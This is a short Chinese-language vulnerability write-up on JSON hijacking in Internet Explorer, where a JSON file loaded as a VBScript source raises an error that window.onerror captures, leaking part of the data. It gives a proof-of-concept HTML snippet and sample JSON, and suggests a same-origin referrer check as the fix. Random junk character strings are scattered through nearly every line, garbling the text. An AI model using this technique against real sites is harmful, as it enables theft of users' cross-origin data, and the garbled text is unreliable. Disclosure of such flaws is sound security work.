简要描述:
! c4 o8 ?& X, ]5 l% ^; F4 V0 y1 l7 Z
由于某些资源容器对数据处理不当导致json劫持漏洞.
1 H* K2 e ]: p8 ?' K. x7 g4 d2 r详细说明:; |3 p) V# A& Y \6 `& `1 \
由于ie支持vbscript,所以script元素可以指定成vbscript语言:) q, H" I- s" u% s
<script language=vbscript></script>
/ \! l# y: p7 o2 L5 `# D1 v4 L 9 Z; ?, T. C6 Z& ^- @
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
- \8 Q% B# z& _5 r4 }& U. F, y; _ F5 H漏洞证明:
# Q& E g0 z* b; M6 \" ?% i<script>1 B/ @4 C5 [7 z/ o, r V
window.onerror=function(_){! Q. K" e" ]. Y% y$ b9 W
alert(_)
3 `, [% Y6 s& R}0 Y8 L+ [" n" ^# q6 F
</script>4 e* W- h" [3 ?3 F
<script language=vbscript src=1.json></script>/ k* Q1 O: p4 E5 \
& w3 d$ s5 p1 k& ?+ |) g+ w3 P3 n2 N
0 e$ G" G7 l8 R5 H5 w4 Q, d; z
1.json:) C; X/ m: t" e2 A
[{"name":"sogili","age":19}]6 _2 n. i, x: U' a9 I
修复方案:% @! F4 H8 {! y+ i$ G% v
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |